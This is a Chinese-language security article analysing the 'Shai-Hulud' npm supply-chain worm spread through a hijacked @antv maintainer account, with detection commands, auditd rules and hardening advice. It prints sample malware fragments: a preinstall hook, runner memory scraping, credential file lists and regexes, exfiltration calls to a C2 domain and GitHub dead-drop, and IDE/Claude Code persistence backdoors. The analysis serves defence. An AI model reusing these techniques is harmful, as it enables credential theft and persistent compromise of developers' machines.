Shai-Hulud重现这次它吞噬了整个生态系统

admin 2026-06-17 04:48:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Shai-Hulud是一次针对npm生态系统的重大供应链攻击,攻击者通过入侵atool维护者账号在22分钟内向300多个包注入恶意代码,利用preinstall钩子窃取CI/CD环境中的敏感凭证并通过双通道外传数据。关键发现包括内存提取技术绕过日志脱敏、针对AI开发工具的持久化后门。建议企业立即检查受影响包版本、轮换所有密钥、禁用安装脚本并采用冻结锁文件策略。 综合评分: 84 文章分类: 供应链安全,漏洞分析,应急响应,安全运营,解决方案


cover_image

Shai-Hulud重现这次它吞噬了整个生态系统

cybernews cybernews

OSINT研习社

2026年6月11日 17:55 陕西

在小说阅读器读本章

去阅读

#

如果把现代软件工程比作一座正在施工的摩天大楼,开源依赖就像是预制构件。这一次,黑客精准地污染了源头工厂,让无数下游工地在不知不觉中运进了“带毒砖块”。

近期,安全机构 TrustedSec 披露了一起针对 npm 生态系统的重量级供应链攻击,代号“Shai-Hulud”(即沙虫)。这并非一次简单的恶意包发布,而是一个具备持久化能力和极广传播面的自动化攻击样本。本项目将为你完整拆解这场风暴的始末。

风暴中心:22分钟内撬动的生态巨兽

事件的引爆点精准得令人咋舌。攻击者并未选择暴力破解所有代码库,而是拿下了名为 atool的 npm 维护者账号。这个账号掌握着阿里 AntV 数据可视化生态(@antv命名空间)以及多个高人气开源库的发布权。

拿到最高权限后,攻击者在极短时间内发起了一轮自动化的“饱和式打击”:

  • 极速投毒:在 2026年5月19日 01:39–02:18 UTC 期间,攻击者利用自动化脚本,在约半小时内向 300多个独立包 推送了超过 600个恶意版本
  • 毁尸灭迹:为了掩盖投放痕迹,攻击者恶意篡改了包的版本号。
  • 持续蔓延:随着时间的推移,受影响的包列表仍在持续增加,预估波及了超过 5900万次/月 的下载量。

为什么这波攻击极度危险?

以往我们对供应链投毒的印象,往往停留在“偷走环境变量里的Key”。但 Shai-Hulud 的恐怖之处在于它构建了一条完整的、环环相扣的攻击闭环。只要开发者或企业的 CI/CD 流水线执行了 npm install,恶意代码就会像沙子一样渗进系统的每一个角落。

1. 突破视觉安检的隐蔽投毒机制

这次攻击最核心的战术,是利用了 preinstall钩子进行“僵尸化”操控。

  • 安装即触发:恶意包在 package.json中配置了 "preinstall": "bun run index.js"。这意味着,恶意代码会在你刚敲下回车、依赖包正在下载解压的瞬间,就抢先执行。
  • 双重投递迷雾:除了直接执行本地的混淆脚本,攻击者还将 @antv/setup伪装成 optionalDependencies,指向了 antvis/G2仓库的某个孤儿提交(orphan commit)。这相当于在合法的 GitHub 仓库里埋了一颗逻辑炸弹,即使部分安全工具只扫描 scripts字段,也会被这种迂回手法欺骗。
  • 依赖解析漏洞:这里有一个容易被忽略的机制。npm 的语义版本解析器(semver)极其机械,它会无条件选择符合范围的最高版本,而不会分辨这个版本是不是官方发布的 latest。只要你的项目里写了 "timeago.js": "^4.1.1",下一次执行 npm install时,系统就会毫不犹豫地把带毒的 4.1.2或 4.2.2拉进本地。

2. 地毯式清扫:130+条敏感路径大起底

恶意载荷一旦启动,会立刻化身为一个全副武装的“吸尘器”,对本机的 130 多条敏感路径进行地毯式扫描。重点囊括了以下几大战区:

| 目标类别 | 典型清扫路径示例 | | — | — | | 云厂商凭据 | ~/.aws/credentials、GCP application_default_credentials.json、Azure accessTokens.json | | 容器与编排 | ~/.docker/config.json~/.kube/config | | 开发与数据库 | ~/.gitconfig~/.pypirc~/.gradle/gradle.properties | | SSH与加密资产 | ~/.ssh/id_rsa~/.ssh/id_ed25519~/.gnupg/ |

3. 抽丝剥茧:绕过“马赛克”的内存提取术

在企业级的 CI/CD 流水线(如 GitHub Actions)中,为了保障日志安全,系统通常会对打印出来的密钥打上星号(***)进行脱敏。

但这套物理屏蔽机制在 Shai-Hulud 面前形同虚设。恶意代码直接绕开普通的日志层,去读取 /proc/self/maps并通过 /proc/[pid]/mem直接对进程内存进行侧载扫描。换句话说,它在系统还没来得及给密码打码前,就已经把明文从内存里抠了出来。

4. 狡兔三窟:去中心化的双通道外传

偷到数据后,攻击者准备了两条完全不同的外传通道,确保哪怕一条路被堵死也能顺利出货:

  • 伪装成正常业务的 GitHub Dead-drop:如果令牌有效,恶意代码会利用受害者的合法 GitHub Token,在 antvis/G2这个正规仓库下创建带有《沙丘》主题名字(如 harkonnen-melange-852)的新仓库或 Issue,将挟持到的数据悄悄塞进去。这种流量披着合法授权和官方 API 的外衣,极难触发传统安全设备的警报。
  • 伪装成观测工具的 C2 服务器:假设机器断网或者没有有效令牌,第二通道就会启动。数据会被加密并外传到 t.m-kosche[.]com,且请求的 URL 路径被刻意伪装成了 OpenTelemetry 的标准采集端点(/api/public/otel/v1/traces),以此蒙混过关。

5. 幽灵后门:针对 AI 开发者的定向潜伏

这是整场攻击中最具前瞻性的一步棋。黑客敏锐地察觉到,如今的开发环境已经被 AI Agent 深度接管。

  • 污染 Claude Code:恶意代码会尝试修改 ~/.claude/config.json,向其中注入 SessionStart钩子。这意味着,哪怕你删掉了带毒的依赖包,只要重新打开 Claude Code,它就会强制你重新运行一次初始化脚本,导致后门死灰复燃。
  • 污染 VS Code:对于偏好图形界面的开发者,攻击者会向 .vscode/tasks.json写入带有 "runOn": "folderOpen"属性的自动化任务。你只要鼠标双击打开项目文件夹,潜伏的脚本就会再次被唤醒。

重灾区包名的“通缉名单”

目前确认遭到投毒的包涉及可视化、测试、Lint 等多个领域,开发者应立即自查 package-lock.json或 yarn.lock文件中是否存在以下通缉对象:

| 包名示例 | 确认被投毒的版本号 | | — | — | | timeago.js | 4.1.2, 4.2.2 | | echarts-for-react | 3.0.7, 3.1.7, 3.2.7 | | jest-canvas-mock | 2.5.3, 2.6.3, 2.7.3 | | mcp-echarts | 0.8.1, 0.9.1 | | mcp-mermaid | 0.5.1, 0.6.1 | | @antv/g2 / g6 / l7 | 5.5.8/5.6.8, 5.2.1/5.3.1, 2.26.10/2.27.10 |

(注:完整受影响名单一度传出有 300+、500+、600+ 等不同量级,这取决于安全厂商对“独立包”和“恶意版本”的统计口径。对于企业而言,最务实的做法是直接对照锁死文件里的版本号进行拦截。)

止血与反击:企业级应急排查手册

如果你的业务不幸中招,务必立刻按以下五个步骤进行绝育式清理:

  1. 全局地毯式扫描:在所有代码仓库、开发机以及 CI runner 中,拉网式搜索 preinstall: bun run index.js@antv/setupShai-Hulud: Here We Go Again以及 t.m-kosche.com等特征字符串。
  2. 斩断外联通道:在防火墙和 DNS 策略中,立刻将 t.m-kosche.com加入全网黑名单。
  3. 核心资产大轮换:假定所有被扫过的密钥均已泄露。强制轮换 GitHub Token、npm Token、各大云厂商 AK/SK、Docker Hub 密码、数据库源以及 SSH 私钥。同时,排查 GitHub 组织内是否突然多出了带有奇怪沙丘代号的公开仓库。
  4. 拔除神经毒素:单纯卸载 npm 包是不够的。必须手动检查并删除 .claude/settings.json.vscode/tasks.json.github/workflows/下被植入的恶意 Hook 和异常工作流。
  5. 格式化重建环境:当发版节点和构建机器曾运行过恶意代码,最彻底的终极方案是直接销毁实例,从纯净镜像重新拉起环境,并强制回滚到被投毒时间点之前的 Lock 文件。

建立长效防御阵地

在这之后,我们需要从架构层面建立几道防线,让这根链条在源头卡死:

  • 锁死依赖树:在 CI/CD 流水线中,尽量避免使用会试探更新的 npm install。改用 npm ci或 pnpm install --frozen-lockfile,让系统严格遵守 Lock 文件的版本约束。
  • 切割脚本执行权限:在全局或项目级的 .npmrc中加入 ignore-scripts=true。除非某个包明确需要编译原生模块,否则一律剥夺其安装期执行 JavaScript 的权力。
  • 强化包管理体系:评估引入 pnpm 等自带更强隔离机制的包管理器,并开启依赖语义分析工具(如 Socket)对 preinstall等高危行为进行实时阻拦。
  • 收紧凭据时间窗:对于 CI/CD 环境,坚决废止长期有效的静态 Token。全面拥抱 OpenID Connect (OIDC) 等临时鉴权机制,并强制开启 npm 的 Provenance(来源证明)与双因素认证。

原文:

对于过去几年一直关注 npm 供应链攻击的人来说,Shai-Hulud 这个名字并不陌生;对于经常在威胁情报报告和警告客户在构建 playbook 时注意软件清单和流程漏洞的人来说,我也肯定听过我反复强调这一点。它本质上是同一种蠕虫,只是出现了不同的浪潮。

这次的不同之处在于,受影响的范围扩大到阿里巴巴旗下蚂蚁电视数据可视化生态系统中的300多个软件包,而且截至撰写本文时,受影响的软件包数量仍在增加。这种通过设置“死亡开关”删除根文件夹的恶劣做法,我会将其添加到桌面演练中,并希望它能让一些组织在进行快速隔离时三思而行。

1.1 实际发生了什么

这一切只需要一个 npm 账户。拥有热门包timeago.js(每周下载量约 150 万次)且在@antv命名空间中广泛发布内容的atool账户遭到入侵。攻击者将恶意版本推送至图表库、图形工具、地图组件和通用实用程序等一系列软件包,几乎波及所有相关包。任何从 AntV 拉取代码的程序都在攻击范围内,从前端团队到数据可视化管道都难逃厄运。对于许多开发者来说,这将是最棘手的部分,因为除了使用 EDR 和其他允许编写脚本或利用内置字符串搜索的工具外,你的边界日志在查找目标主机时将至关重要。

攻击者并未试图掩盖其影响,他们利用窃取的令牌创建了超过 2200 个公开的 GitHub 代码库。每个代码库都以《沙丘》宇宙的术语命名,并以反转后的字符串“niagA oG eW ereH :duluH-iahS”描述。反过来就是:“Shai-Hulud: Here We Go Again”。他们正在实时地用刚刚窃取的凭证进行自我宣传。这并非偶然,而是有人在刻意为之。鉴于此次攻击的精心策划,我认为这并非疏忽,而是蓄意之举。

任何安装了受影响软件包的环境都应视为已完全入侵。在阅读完本文之前,请立即轮换所有软件包。

下载量最高的软件包:

| 包裹 | 受损版本 | | — | — | | timeago.js | 4.1.2、4.2.2 | | echarts-for-react | 3.0.7、3.1.7、3.2.7 | | jest-canvas-mock | 2.5.3、2.6.3、2.7.3 | | @antv/g6 | 5.2.1、5.3.1 | | @antv/g2 | 5.5.8、5.6.8 | | @antv/l7 | 2.26.10、2.27.10 | | mcp-echarts | 0.8.1、0.9.1 | | mcp-美人鱼 | 0.5.1,0.6.1 |

完整列表在文末,而且还在不断增加。我仍然建议您对入侵指标 (IOC) 进行威胁狩猎。

1.2 恶意软件的工作原理

第二次,我们发现所有被入侵的软件包都包含相同的有效载荷,只是混淆方式不同(请注意,这并不意味着它最近没有改变)。入口点要么是 preinstall 钩子,要么是 postinstall 钩子。执行会在 npm install 运行时立即触发,而 npm install 会在代码库中的任何内容加载之前发生。

1.2.1 第一阶段 安装钩子

{
"scripts": {
"preinstall": "node -e \"require('./.build/preinstall.js')\""
  }
}

.build/preinstall.js文件经过高度混淆,如果您正在对目标系统进行取证工作,则值得对其进行反混淆。解混淆后,其行为遵循以下三个步骤:

  • 凭证收集
  • 渗漏
  • 持久性

1.2.2 第二阶段:从跑者记忆中提取秘密

GitHub Actions 会在日志输出中屏蔽密钥,但它无法阻止同一运行器上的进程读取自身的进程内存。有效载荷正是如此——它遍历/proc/self/maps 文件,找到堆内存中以ACTIONS\_为前缀的环境变量所在的区域,并直接从内存中读取未屏蔽的值。

// Simplified representation of the runner memory scraping logic
const fs = require('fs');
const path = `/proc/${process.pid}/mem`;

functionreadMaskedSecrets() {
// Reads /proc/self/maps to find memory ranges
// Then walks mapped regions looking for ACTIONS_ prefixed env vars
// Extracts their unmasked values from heap memory
const maps = fs.readFileSync('/proc/self/maps', 'utf8');
const ranges = parseMappings(maps);
returnharvestFromRanges(ranges);
}

您的持续集成 (CI) 日志看起来会很干净,因为密钥提取完全发生在日志层之下。这就是为什么密钥轮换必不可少。问题在于,许多组织并没有为每个主机建立完善的密钥账本,因此我建议您对找到的任何软件包进行反混淆处理,审查其密钥收集流程,并以此为基础进行影响分析。

1.2.3 第三阶段:扫描文件系统

除了运行器内存之外,有效载荷还会扫描 130 多个文件路径。这是一个非常全面的列表——我们在 TrustedSec 上看到的样本涵盖了云提供商配置、容器编排、密钥管理器、SSH 密钥、加密钱包和开发者工具。

const CREDENTIAL_PATHS = [
// AWS
'~/.aws/credentials',
'~/.aws/config',
// GCP
'~/.config/gcloud/credentials.db',
'~/.config/gcloud/application_default_credentials.json',
// Azure
'~/.azure/accessTokens.json',
'~/.azure/azureProfile.json',
// Kubernetes
'~/.kube/config',
// HashiCorp Vault
'~/.vault-token',
// npm
'~/.npmrc',
// Generic credential stores
'~/.netrc',
'~/.ssh/id_rsa',
'~/.ssh/id_ed25519',
// Cryptocurrency wallets
'~/.bitcoin/wallet.dat',
'~/.ethereum/keystore',
// Docker
'~/.docker/config.json',
];

开发者在本地运行了 npm install?情况也一样。如果这些路径存在于机器上,那么这些数据就被攻击者窃取了。攻击者会先进行一些自动化测试,然后再回来充分利用这些秘密信息。

1.2.4 第四阶段:数据导出

目前使用了两条数据外泄通道。主要通道利用 GitHub API 向合法的antvis/G2代码库中的某个文件写入数据。可以将其视为一个隐藏的“死信箱”,它与正常的 GitHub API 流量混为一谈,因为从技术上讲,它确实是正常的 GitHub API 流量,只是指向了攻击者通过窃取的令牌控制的代码库。

// Primary exfiltration  GitHub API dead-drop
asyncfunctionexfiltrateViaGitHub(payload) {
const encoded = Buffer.from(JSON.stringify(payload)).toString('base64');
awaitfetch('https://api.github.com/repos/antvis/G2/contents/.telemetry', {
method: 'PUT',
headers: {
'Authorization': `token ${stolenGitHubToken}`,
'Content-Type': 'application/json',
    },
body: JSON.stringify({
message: 'chore: update telemetry',
content: encoded,
    }),
  });
}

// Fallback C2  disguised as OpenTelemetry
asyncfunctionexfiltrateViaC2(payload) {
awaitfetch('https://t.m-kosche.com/v1/traces', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload),
  });
}

备用方案是使用伪装成 OpenTelemetry 收集器的tm-kosche[.]com域名。如果您启用了出口监控(您肯定启用了,对吧?),那么该域名就是您的入侵指标 (IOC)。请阻止该域名并发出警报。

1.2.5 第五阶段 坚持

这就是糟糕的一天和糟糕的一个月之间的区别。恶意代码并非只是窃取数据然后离开,而是会在 VS Code 和 CloudCode 的配置中植入持久性后门。其机制是一个Node.js预加载文件,该文件与 terminal.integrated.env 设置关联。之后,开发者启动的每个 Node 进程都会首先运行攻击者的代码。

// VS Code settings.json backdoor
const vscodeConfig = {
"terminal.integrated.env.linux": {
"NODE_OPTIONS": "--require /tmp/.node_preload.js"
  }
};

// Claude Code config backdoor (~/.claude/config.json or similar)
// Injects a persistent hook into the AI assistant's tool execution context

如果在未先清除后门的情况下轮换凭据,恶意软件会在开发者下次打开终端时再次运行。凭据轮换是第一步 (1),后门移除是第二步 (2)。两者都必须执行,否则就不能算是彻底修复,而且您还需要持续监控以确保不会再次感染。

1.3 检测入侵

1.3.1 锁定文件审核

开始搜寻。将您的 package-lock.json 或 yarn.lock 文件与已知被入侵版本列表进行交叉比对。

# Check for known compromised timeago.js versions
npm ls timeago.js 2>/dev/null | grep -E "4\.1\.2|4\.2\.2"

# Broad scan of your lock file for compromised @antv packages
grep -E '"@antv/'package-lock.json | grep -E '"version": "(.*\.[13]\.[0-9]+|.*\.[12]\.[0-9]+)"'

# More targeted  check for the specific version bump pattern (+1 minor)
# Compromised versions follow a consistent pattern: x.y.z and x.(y+1).z

因此,在为客户引入事件响应服务时,我们会询问他们是否在 Linux 系统上部署了 EDR,以及是否进行过故障搜寻演练。这是我们在桌面演练中经常用到的一个技巧。

1.3.2 寻找后门神器

检查蠕虫为持久性设置的 IOC 位置。

# Check for the node preload backdoor
ls -la /tmp/.node_preload.js
ls -la ~/.node_preload.js
find /tmp -name "*.js" -newer /tmp -mtime -7 2>/dev/null

# VS Code config tampering
cat ~/.config/Code/User/settings.json | grep -i "NODE_OPTIONS\|terminal.integrated.env"
cat ~/Library/Application\ Support/Code/User/settings.json | grep -i "NODE_OPTIONS"

# Claude Code config
cat ~/.claude/config.json 2>/dev/null | grep -i "preload\|NODE_OPTIONS\|require"

# npm preinstall hooks in recently installed packages
find node_modules -name "package.json" | xargs grep -l "preinstall\|postinstall" 2>/dev/null

1.3.3 网络指标

向tm-kosche[.]com发送 POST 请求、无法追溯到已知 CI 运行或开发者工作流程的 GitHub API 调用都是异常线索。如果有 DNS 查询日志,请运行查看。

# On Linux, check current connections
ss -tnp | grep -E "t\.m-kosche\.com|api\.github\.com"

# DNS query logs (if you have them)
grep"m-kosche" /var/log/syslog 2>/dev/null
grep"m-kosche" /var/log/dns.log 2>/dev/null

# Check recently created GitHub repos with the Dune naming pattern
# (Requires a GitHub token with org-level read access)
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/user/repos?sort=created&direction=desc&per_page=50" | \
  jq '.[] | select(.description | test("niagA oG")) | {name, html_url, created_at}'

如果您有 F5、Zscaler 等工具,请查看它们的日志。在这种情况下,边界日志至关重要,因为它能提供目标列表,方便后续的搜索。

1.3.4 CI 日志审查

任何在受感染期间拉取过受影响软件包的运行程序都应引起怀疑。提取该期间的工作流日志,查找异常的子进程、不寻常的网络调用以及任何无法在已定义步骤中解释的节点调用。

# GitHub Actions: check recent runs that touched affected packages
gh run list --limit 50 --json databaseId,conclusion,createdAt,headBranch \
  | jq '.[] | select(.createdAt > "2026-05-15")'

1.4 清理

1.4.1 步骤 1 降级和受影响的引脚封装

对依赖树中每个受影响的软件包都执行此操作,而不仅仅是直接依赖项。传递依赖项也包括在内。

# Remove the compromised version
npm uninstall timeago.js

# Install the last known-good version
npm install [email protected]

# Lock it down in package.json  no more caret ranges for this package
# Change: "timeago.js": "^4.1.1"
# To:     "timeago.js": "4.1.1"

1.4.2 步骤 2 轮换所有已暴露的凭据

按部就班地处理列表。不要遗漏任何可能在有效载荷所指向的凭据路径范围内的项目。记住:在找到并移除软件包之后再执行此操作——您不希望触发一个失效的开关。

# AWS
aws iam create-access-key --user-name <your-user>
aws iam&nbsp;delete-access-key --access-key-id <old-key>

# GitHub &nbsp;rotate any PATs or fine-grained tokens
# Go to: Settings > Developer settings > Personal access tokens

# npm tokens
npm token revoke <token>
npm token create --read-only &nbsp;# or with publish if needed

# Kubernetes
kubectl config view --raw |&nbsp;grep"token:"
# Rotate through your cloud provider's IAM console

别忘了撤销和轮换 SSH 密钥/证书。

以下是我们在一个示例中发现的代码,该代码用于查找凭据,我们可以看到它搜索的位置。我们也发现过一些变体,它会搜索其他类型的凭据。

constructor() {
super("kubernetes",&nbsp;"secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}

private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}

private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";

1.4.3 第三步 打开后门

# Clean node preload artifacts
rm&nbsp;-f /tmp/.node_preload.js ~/.node_preload.js

# Review and restore VS Code settings
code --list-extensions &nbsp;# verify no unexpected extensions
# Manually review ~/.config/Code/User/settings.json
# Remove any NODE_OPTIONS or unexpected terminal env vars

# Claude Code config
# Review and restore ~/.claude/config.json to a known-good state

# Check .npmrc for injected registry overrides
cat&nbsp;~/.npmrc
cat&nbsp;$(npm root -g)/../../../.npmrc 2>/dev/null

1.4.4 第四步 重建自托管运行器

不要尝试修复执行了被入侵安装的运行器。将其彻底销毁,然后使用经过验证的干净镜像重新构建。GitHub 托管的运行器是临时的,所以这不是问题,但自托管的运行器则不同。任何在您识别开发者主机以及边界日志中发现的内容,都将被视为完全拥有并需要重新构建。

1.5 Linux 系统的 Auditd 规则

运行基于 Linux 的构建系统或开发人员工作站?请将这些规则添加到/etc/audit/rules.d/supply-chain.rules文件中。这些规则涵盖了此恶意软件的特定行为:凭据文件读取、进程内存抓取、/tmp 目录写入、节点预加载注入和配置目录篡改。

# Monitor reads of credential files commonly targeted by supply chain malware
-w /root/.aws/credentials -p r -k supply_chain_cred_access
-w /root/.aws/config -p r -k supply_chain_cred_access
-w /home -p r -k supply_chain_home_access
-w /root/.kube/config -p r -k supply_chain_cred_access
-w /root/.vault-token -p r -k supply_chain_cred_access
-w /root/.npmrc -p r -k supply_chain_cred_access
-w /root/.docker/config.json -p r -k supply_chain_cred_access
-w /root/.netrc -p r -k supply_chain_cred_access
-w /root/.ssh/id_rsa -p r -k supply_chain_ssh_access
-w /root/.ssh/id_ed25519 -p r -k supply_chain_ssh_access

# Monitor /proc/self/maps access (memory scraping technique)
-a always,exit&nbsp;-F&nbsp;arch=b64 -S open,openat -F path=/proc/self/maps -k proc_mem_scrape
-a always,exit&nbsp;-F&nbsp;arch=b64 -S open,openat -F path=/proc/self/mem -k proc_mem_scrape

# Monitor writes to /tmp (dropper behavior)
-a always,exit&nbsp;-F&nbsp;arch=b64 -S open,openat,creat -F&nbsp;dir=/tmp -F success=1 -k tmp_write

# Monitor execution of node with --require flag (preload injection)
-a always,exit&nbsp;-F&nbsp;arch=b64 -S execve -F path=/usr/bin/node -k node_exec
-a always,exit&nbsp;-F&nbsp;arch=b64 -S execve -F exe=/usr/bin/node -k node_exec

# Monitor outbound connections from node processes (exfiltration)
-a always,exit&nbsp;-F&nbsp;arch=b64 -S connect -F&nbsp;comm=node -k node_network_connect

# Monitor changes to VS Code and Claude Code config directories
-w /root/.config/Code -p w -k dev_config_tamper
-w /root/.claude -p w -k dev_config_tamper

# Monitor npm install script execution
-a always,exit&nbsp;-F&nbsp;arch=b64 -S execve -F path=/usr/bin/npm -k npm_exec
-a always,exit&nbsp;-F&nbsp;arch=b64 -S execve -F path=/usr/local/bin/npm -k npm_exec

加载并验证:

augenrules&nbsp;--load
systemctl restart auditd

# Verify rules&nbsp;loaded
auditctl -l | grep supply_chain

查询日志:

# Check for credential file reads
ausearch -k supply_chain_cred_access -ts today | aureport -f

# Check for proc memory access attempts
ausearch -k proc_mem_scrape -ts today

# Check for /tmp dropper activity
ausearch -k tmp_write -ts today |&nbsp;grep&nbsp;-v&nbsp;"known-good-process"

# Check for node preload executions
ausearch -k node_exec -ts today |&nbsp;grep&nbsp;-i&nbsp;"require\|preload"

1.6 未来需要改变什么

1.6.1 npm 出处—使用它

溯源机制的使用率确实很低。使用溯源机制发布的软件包会附带一份签名证明,该证明能够追溯到构建它的确切源仓库和持续集成 (CI) 工作流程。这是一个非常重要的验证步骤,尤其对于那些在流水线中处于高信任位置的软件包而言更是如此。

# Check if a package has provenance
npm&nbsp;pack&nbsp;--dry-run timeago.js |&nbsp;grep&nbsp;-i provenance

# Or view it on the registry
npm info timeago.js dist.attestations

# Enforce provenance verification in your project
# In .npmrc:
# audit-signatures=true

遗憾的是,目前这项措施尚未普及,但覆盖范围正在扩大。如果您依赖的某个组件缺乏溯源信息,并且已集成到您的持续集成 (CI) 系统中,请将其视为风险进行跟踪。开发人员可能会反对。我曾参与过安全团队清理工作的电话会议,他们会提出异议,认为这工作量太大。

1.6.2 实际上,固定你的依赖项

插入符范围既方便又危险。“timeago.js”:“^4.1.1”会在用户不进行任何操作的情况下静默接受 4.2.2 版本,而这正是此次攻击活动将恶意版本偷偷植入运行例行更新的系统中的手段。

# Audit your package.json for caret and tilde ranges on sensitive deps
cat&nbsp;package.json | jq&nbsp;'.dependencies | to_entries[] | select(.value | startswith("^") or startswith("~"))'

# Pin everything
npm shrinkwrap &nbsp;# creates npm-shrinkwrap.json with exact versions

# Or use the --save-exact flag when installing
npm install --save-exact [email protected]

在持续集成 (CI) 环境中,请使用 npm ci 而不是 npm install。这样会精确安装锁定文件中列出的所有内容,并在出现任何差异时立即报错。

# Use this in CI, not npm install
npm ci

1.6.3 默认禁用安装脚本

大多数前端软件包在安装时都不应该运行代码。在.npmrc文件中设置 ignore-scripts=true可以完全关闭安装钩子。

# .npmrc
ignore-scripts=true

真正需要安装脚本原生绑定的软件包可以显式地添加到允许列表中。其他所有软件包默认情况下都会被阻止。

# Check which packages in your tree actually need install scripts
npx can-i-ignore-scripts

socket.dev 等工具还会在可疑的安装钩子运行之前将其标记出来,这值得添加到信号堆栈中。

1.6.4 阻止 C2 域

tm-kosche.com添加到您的 DNS 拒绝列表或 NGFW 拒绝规则中。任何访问该域名的请求都表明存在安全隐患。

# Quick hosts file block on Linux
echo"0.0.0.0 t.m-kosche.com"&nbsp;>> /etc /hosts

# Or via iptables with logging
iptables -A OUTPUT -d t.m-kosche.com -j DROP
iptables -A OUTPUT -d t.m-kosche.com -j LOG --log-prefix&nbsp;"SHAI-HULUD-C2-BLOCK: "

我还建议考虑使用其他包管理器,例如PNPM,它针对这类攻击提供了缓解措施。以下是一个不错的 .npmrc 配置示例,可用于实现这些防御措施:

# PNPM 11 Security Mitigation Configuration

# 1. Minimum Release Age
# Refuses to install any package published less than 24 hours ago.
# This prevents the installation of "day-zero" poisoned updates before they are detected.
min-package-age=24h

# 2. Block Exotic Sub-dependencies
# Disallows transitive dependencies that point to random Git repos or external URLs.
# Forces all dependencies to come from a verified registry (like npm).
block-exotic-dependencies=true

# 3. Approved Builds (Install Script Security)
# PNPM 11 blocks all install scripts by default to prevent malware execution.
# You must manually whitelist trusted packages that require scripts to run.
# This setting ensures the default "blocked" behavior is strictly enforced.
only-built-dependencies=[]

这些设置如何协同工作:

  • 最低发布年龄:在 TanStack 攻击中,84 个被污染的软件包迅速发布;此设置会导致 PNPM 在前 24 小时内拒绝安装,这很可能超过安全社区标记和删除它们所需的时间。
  • 阻止特殊子依赖项:这可以确保依赖树的每个部分都来自正确的注册表,而不是攻击者的私有服务器或随机的 GitHub 分支,从而堵上“走私”漏洞。
  • 已批准的构建:由于大多数 npm 恶意软件(包括 Shai-Hulud 蠕虫)都依赖自动安装脚本来执行其有效载荷,因此默认情况下阻止这些脚本是最有效的防御措施。当您遇到确实需要安装脚本的软件包时,PNPM 11 允许您遍历依赖项,并将特定的受信任软件包添加到允许列表中。

1.7 结束

这次攻击之所以奏效,靠的不是技术上的精湛,而是战略性的定位。一个被攻破的维护者账户,只要拥有正确的命名空间访问权限,就能影响超过 300 个被污染的软件包,每月下载量高达 5900 万次。即使开发者们尽职尽责地维护依赖项的更新,最终也会下载到恶意版本。这是一个结构性问题,仅仅依靠维护并不能解决。

这里的控制措施是有意分层设计的。如果你已经使用了被入侵的版本,那么即使版本锁定也无济于事。溯源信息有所帮助,但前提是你必须持续检查它。Auditd 可以提供事后取证信息,这在试图确定哪些内容被修改时至关重要。但这些措施本身都无法提供完整的解决方案。PNPM 可以提供最佳的缓解措施,但这需要你改变工作流程和工具来支持它。

针对被掩码的运行器密钥进行内存抓取、GitHub API 死信箱、冒充 OpenTelemetry 进行 C2 通信以及在凭证轮换后仍然存在的 IDE 后门,这些都是娴熟的攻击技巧。攻击者在代码仓库描述中签名并不能降低其危险性,反而使其更具蓄意性。

轮换密钥。审核锁定文件。锁定依赖项。重建所有在范围内的自托管运行器。假设最坏的情况,然后从那里着手解决问题。

1.8 沙伊-胡鲁德 IOC 参考表

1.8.1 表 1 待监控文件

此列表来自对反混淆后的 Shai-Hulud 恶意软件的有效载荷分析。该有效载荷会扫描主机文件系统上的 130 多个路径。标记为Dropper/Backdoor的文件是有效载荷写入的痕迹;所有其他文件都是用于窃取凭据的读取目标。

| 文件路径 | 类别 | 访问类型 | 笔记 | | — | — | — | — | | /etc/hosts | 系统 | 写 | 攻击者可能通过污染 DNS 解析来重定向注册表流量。 | | /proc/[pid]/mem | 进程内存 | 读 | Runner.Worker 内存抓取主要 CI 秘密提取技术 | | /proc/[pid]/cmdline | 进程内存 | 读 | 用于在读取内存之前定位 Runner.Worker 进程 ID (PID) | | /proc/self/maps | 进程内存 | 读 | 地图在读取未隐藏的秘密之前会先对区域进行堆叠。 | | /tmp/.node_preload.js | 投放器/后门 | 写 | 持久节点预加载在凭证轮换后仍然存在 | | ~/.node_preload.js | 投放器/后门 | 写 | 备用预装投放位置 | | ~/.aws/credentials | AWS 云平台 | 读 | 主 AWS 凭证文件 | | ~/.aws/config | AWS 云平台 | 读 | AWS 区域/配置文件,可能包含角色 ARN | | ~/.config/gcloud/credentials.db | 云平台 GCP | 读 | GCP OAuth 令牌存储 | | ~/.config/gcloud/application_default_credentials.json | 云平台 GCP | 读 | SDK 使用的 GCP ADC 凭证 | | ~/.azure/accessTokens.json | Azure 云平台 | 读 | Azure CLI 缓存的访问令牌 | | ~/.azure/azureProfile.json | Azure 云平台 | 读 | Azure 订阅和租户信息 | | ~/.kube/config | Kubernetes | 读 | Kubeconfig 可能包含集群管理员令牌 | | ~/.vault-token | HashiCorp Vault | 读 | Vault 根令牌或服务令牌 | | ~/.npmrc | 软件包管理器 | 读 | npm 身份验证令牌和注册表配置 | | ~/.yarnrc.yml | 软件包管理器 | 读 | Yarn 身份验证令牌 | | ~/.docker/config.json | 容器 | 读 | Docker 镜像仓库身份验证令牌 | | ~/.netrc | 通用凭证 | 读 | 许多 CLI 工具使用的 FTP/HTTP 凭据存储 | | ~/.ssh/id_rsa | SSH | 读 | RSA 私钥 | | ~/.ssh/id_ed25519 | SSH | 读 | Ed25519 私钥(最常见的现代密钥类型) | | ~/.ssh/id_ecdsa | SSH | 读 | ECDSA 私钥 | | ~/.ssh/id_dsa | SSH | 读 | DSA 私钥(传统版) | | ~/.gitconfig | 开发者工具 | 读 | 可能包含凭证助手配置或令牌 | | 